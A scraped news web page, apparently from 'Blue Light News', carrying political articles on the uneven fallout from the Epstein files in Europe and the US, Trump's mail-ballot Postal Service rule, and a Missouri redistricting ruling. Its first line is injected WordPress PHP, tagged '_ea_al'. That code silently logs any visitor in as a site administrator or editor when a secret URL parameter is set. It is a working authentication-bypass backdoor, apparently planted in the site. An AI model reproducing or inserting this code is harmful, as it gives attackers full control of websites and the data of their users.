// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); The Epstein scandal is taking down Europe’s political class. In the US, they’re getting a pass. – Blue Light News
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The Epstein scandal is taking down Europe’s political class. In the US, they’re getting a pass.

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7 months ago

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Across the Atlantic, heads are rolling over the Jeffrey Epstein revelations.

In Norway, one prominent diplomat has already been suspended and a police investigation has been opened into a former prime minister. In the U.K., the former ambassador to the U.S. has been fired; on Tuesday, he resigned from the House of Lords. Police are reviewing reports he shared market-sensitive information with Epstein.

Andrew Mountbatten-Windsor, formerly known as Prince Andrew, was stripped of his royal titles and residence. A charity founded by his ex-wife Sarah Ferguson, the former Duchess of York, will shut down indefinitely following the release of emails where she called Epstein a “legend” and “the brother I have always wished for.”

But as Europe’s political class moves to clean up its mess and address its shame concerning ties with the convicted sex offender, it’s inadvertently highlighting something else — the comparative lack of accountability in the U.S.

No prominent politicians have taken a fall. Consequences have been limited. Wagons have been circled around the most prominent political figures whose names have surfaced in the legal document dumps.

In the U.K., former ambassador to the U.S. Peter Mandelson — who has said he was wrong to believe Epstein following his conviction and to continue his association with him afterwards — has emerged as a millstone around British Prime Minister Keir Starmer’s neck. While Starmer never actually met Epstein, some are calling for his resignation over his appointment of Mandelson. The prime minister publicly apologized Thursday to Epstein’s victims.

“I am sorry,” Starmer said. “Sorry for what was done to you, sorry that so many people with power failed you, sorry for having believed Mandelson’s lies and appointed him and sorry that even now you’re forced to watch this story unfold in public once again.”

It’s a different story in the U.S. Donald Trump’s Republican Party has largely averted its eyes or rallied to the president’s defense despite his documented ties to Epstein and the unverified additional allegations against the president that appeared last week.

Trump has denied wrongdoing in relation to the Epstein allegations, and no evidence has suggested that he took part in Epstein’s trafficking operation. The president also has maintained that he and Epstein had a falling out years ago.

Commerce Secretary Howard Lutnick remains unscathed in his Cabinet post. Lutnick said on a podcast last year that he was so disgusted by his neighbor Epstein in 2005 that he vowed to never be in the same room with him again. But when the Justice Department released more than three million pages of materials related to the late American financier last Friday, emails surfaced suggesting a closer relationship and that Lutnick had actually seen Epstein some years later on a trip to Epstein’s Caribbean island. A spokesperson said the Commerce secretary “had limited interactions with Mr. Epstein in the presence of his wife and has never been accused of wrongdoing.” So far, there are no signs it affected his standing in the Trump Cabinet.

Likewise, Goldman Sachs and its CEO David Solomon have stood shoulder-to-shoulder with the company’s general counsel Kathryn Ruemmler as she’s faced brutal headlines for months for her associations with Epstein, which include gifts of a $9,400 Hermes bag and a spa treatment at the Four Seasons Hotel in D.C. Solomon told the Wall Street Journal several weeks ago that Ruemmler, a former White House counsel to Barack Obama, “is widely respected and admired at the firm.”

Ruemmler has said she regrets “ever knowing him, and I have enormous sympathy for the victims of Epstein’s crimes.”

Even Dr. Peter Attia, the author and influential longevity researcher who is a contributor to CBS News, remains on the job despite his appearance in numerous emails with Epstein, where they discussed female genitalia and how Epstein’s life was “so outrageous.” In an email that he posted on X, Attia apologized and said he was not involved in any criminal activity, his interactions with Epstein had nothing to do with his sexual abuse or exploitation of anyone and that he was never on his plane or island, and never present at any sex parties.

Some see the relatively limited fallout — in a public arena where infidelity or even smoking marijuana were once enough to sink a career — as a reflection of the diminished standards of the Trump era, when the president’s own indiscretions and extreme polarization has led to a greater tolerance of the scent of scandal. They point to the Cabinet nominations of former Rep. Matt Gaetz of Florida and Defense Secretary Pete Hegseth, both of whom would have been unthinkable in the past given allegations about their involvement in sex crimes that both men have denied.

“Some of that has to do with the general chaos on this side of the pond where it’s a never ending stream of scandal emanating from 1600 Pennsylvania Avenue and Trump has set a tone of defiance on refusal to accept and feel any shame,” said Norm Eisen, a former U.S. ambassador to the Czech Republic who is now a top Trump critic and the founder of Democracy Defenders Action, a bipartisan group that tracks what it calls “autocratic” behavior by the administration. “Those who should feel shame are hunkering down instead.”

It’s true that several American figures linked to Epstein have been forced to step away from public life. They include former Treasury Secretary Larry Summers, who has said he is “deeply ashamed of my actions and recognize the pain they have caused,” and Paul Weiss chairman Brad Karp, who resigned as the law firm’s chair on Wednesday saying it’s in the best interest of the firm. David Ross, former director of the Whitney Museum of American Art, stepped down this week from his position at a Manhattan art school and said in a statement that he felt ashamed for falling for Epstein’s lies. But for many of the best-known elites who were in contact with the late convicted sex offender — including former Trump aide Steve Bannon and billionaire tech mogul Elon Musk — the only consequence has been the reputational hit.

“What matters is not release of some subset of the Epstein files, but rather the prosecution of those who committed heinous crimes with Epstein,” Musk wrote on X. “When there is at least one arrest, some justice will have been done. If not, this is all performative. Nothing but a distraction.”

Bannon has said little publicly about their relationship, but he did previously call for an independent investigation into the files.

Bannon, a frequent visitor to Epstein’s New York house, was planning a documentary to help revive Epstein’s image and even was texting documentary scheduling questions with Epstein the day he was arrested in 2019. Even so, there are few outward signs that the scandal has touched him: Bannon still does his “War Room” show on Rumble and his political musings are widely covered in the press.

It’s an approach in keeping with Trump’s own never-concede-an-inch style.

“We as Americans need to be looking at ourselves in the mirror. Why are we not having that same reaction [as Europe]?” said Rufus Gifford, a former Obama-appointed ambassador to Denmark. “Without a doubt how Trump has acted has filtered down to broader society. But I think the question that we have to ask is whether or not this existed before Trump, and Trump is just a symptom of that larger problem.”

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‘We are winning elections’: Bernie Sanders on Democrats’ progressive wing

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2 hours ago

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September 6, 2026

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‘We are winning elections’: Bernie Sanders on Democrats’ progressive wing

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Trump wants the Postal Service to radically overhaul mail voting. But ballots are already going out.

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2 days ago

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September 4, 2026

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President Donald Trump’s controversial demands for the Postal Service to overhaul and monitor millions of mail ballots hit another snag on Friday, when North Carolina became the first state in the nation to start sending out ballots for the November election.

In March, Trump signed the initial executive order, which aimed to crack down on mail-in voting — which he regularly alleges without evidence is a vector for widespread voter fraud — and assert an unprecedented amount of federal control over the upcoming elections.

Under this order and the subsequent rule drafted by the U.S. Postal Service, the USPS would refuse to deliver ballots to states that failed to provide lists of eligible mail voters or did not adhere to an approved envelope design style.

Since then, the order has faced legal challenges, and it remains paused by a federal judge’s orders. But the Trump administration has asked the Supreme Court to allow the new rule to proceed — something current and former election officials from both parties say would be both a legal nightmare that oversteps the federal government’s traditional role in elections and a logistical one that is happening far too close to the November election to implement even if they agreed with it.

“Why the hell are you rocking the boat this late in the game?” said Stephen Richer, a former Republican recorder of Maricopa County, Arizona, who has clashed with Trump allies for defending the security of the 2020 election.

Still, election officials are trying to project a sense of normalcy for voters, particularly in North Carolina, which serves as a test of whether established local election systems can operate normally amid intensifying federal scrutiny.

“I want to emphasize this point because there has been a lot of outside noise: Our county workers are ready,” Sam Hayes, a longtime Republican lawyer in the state and now executive director of the North Carolina State Board of Elections, said in a Thursday afternoon press conference.

He added, “All we can do is what we’re doing. … It is business as usual as far as I’m concerned.”

Despite the legal challenges, the Trump administration has continued to press the courts to let it proceed. The Trump administration asked the Supreme Court on Thursday to lift an order from a Massachusetts judge which temporarily prevents the USPS from enforcing their rule. It is the second time the Trump administration has asked the Supreme Court to step in, after winning an earlier victory in which the high court dismissed an earlier hold on the rule as premature.

“The uncertainty is coming from a single activist judge who continues to try and obstruct President Trump from implementing commonsense measures to protect the security of mail-in ballots and ensure only Americans vote in American elections,” White House spokesperson Lauren Bis said in a statement. “These safeguards for mail ballots were proposed months ago giving election officials ample time to prepare for the 2026 election.”

The USPS did not immediately respond to requests for comment.

Election officials said that if the rule goes into effect this close to November, it would cause chaos and place added strain on the USPS and election officials. And an anonymous federal whistleblower said in a report circulated earlier this week by Sen. Richard Blumenthal (D-Conn.) that the USPS was moving forward in a “secretive, rushed, chaotic, and fundamentally flawed process” to try to implement the new system ahead of the midterms.

In the coming weeks, states across the country will follow North Carolina’s lead. Nine other states will begin mailing ballots in the next two weeks, according to a tracker from the National Conference of State Legislatures — with the biggest day for mailing coming 45 days before the election in mid-September.

“It would be so outrageous to try to let this go into effect. It’s hard to even imagine,” said Ben Hovland, a senior fellow for democracy at the progressive think tank Center for American Progress and former Democratic commissioner with the Election Assistance Commission who was fired by Trump in July.

He added, “It would be a break-glass moment for our democracy.”

The rule would require meticulous changes to ballot handling and tracking practices that Hovland said are impossible to implement before Election Day in about two months, effectively disenfranchising millions of voters.

“Ballots are printed. Envelopes are printed. You can go on and on with all the practical reasons that show that implementing something like this at this time is not feasible,” he said.

Richer said he doubted the new rules would bring about more security. Even if the USPS received lists from the states, according to the postal service’s final rule, it would not do any additional vetting of the list, Richer said.

“It’s just that the mail ballots have to be on that list, and I don’t see what added value for election integrity that does,” he said.

He added, “It creates a lot of administrative burden, and I think it creates a lot more opportunity for error.”

While a decision looms in the courts, election officials and experts cast doubt on the likelihood of the rules going into effect before November. A more pressing issue, they said, is the confusion and uncertainty surrounding mail-in ballots, which could subvert and change the behaviors of voters.

“It makes things seem messy or difficult, and it can dissuade people from participating or coming out to vote,” Hovland said. “It certainly also helps establish a pretext to make bad faith claims about election results.”

Hovland said that while none of these claims of voter fraud are backed up with facts, they could cause Americans to lose faith in the voting process.

Still, some current officials contended they were well-prepared for whatever happens — and that they’d be able to communicate effectively with voters who have become increasingly buffeted by dramatic rhetoric about the once-unmentioned nuts and bolts of actually running an election.

“There’s always a lot of noise around elections, that’s not going to change, and it can be hard to differentiate that from what’s actually going on on the ground,” said Jason Tyson, director of external affairs for the North Carolina State Board of Elections.

As Election Day approaches, Tyson and election officials said they urge voters to check their registration status and make a plan to vote.

He added, “I think we’ve got a really well-trained, solid staff who are ready, and who have gone through all of the checks and balances and points of contact that we need to do to get to where we are.”

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Missouri Supreme Court pauses GOP gerrymander, likely netting Democrats 1 House seat

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3 days ago

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September 3, 2026

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Missouri’s Supreme Court suspended a congressional map that state Republicans drew last year that would have netted the GOP an additional House seat, likely keeping the seat in Democratic hands this November.

The court ruled unanimously on Thursday that a referendum petition organized by Democrats to put the new congressional maps to a vote was incorrectly deemed insufficient by Republican Secretary of State Denny Hoskins, and ordered that the gerrymandered map be put to a vote in the fall.

Voters will ultimately decide the fate of the new lines in November. But in the meantime, it cannot be in place for the midterms, meaning Rep. Emanuel Cleaver’s original Kansas City-based district will likely stay in Democrats’ hands this fall.

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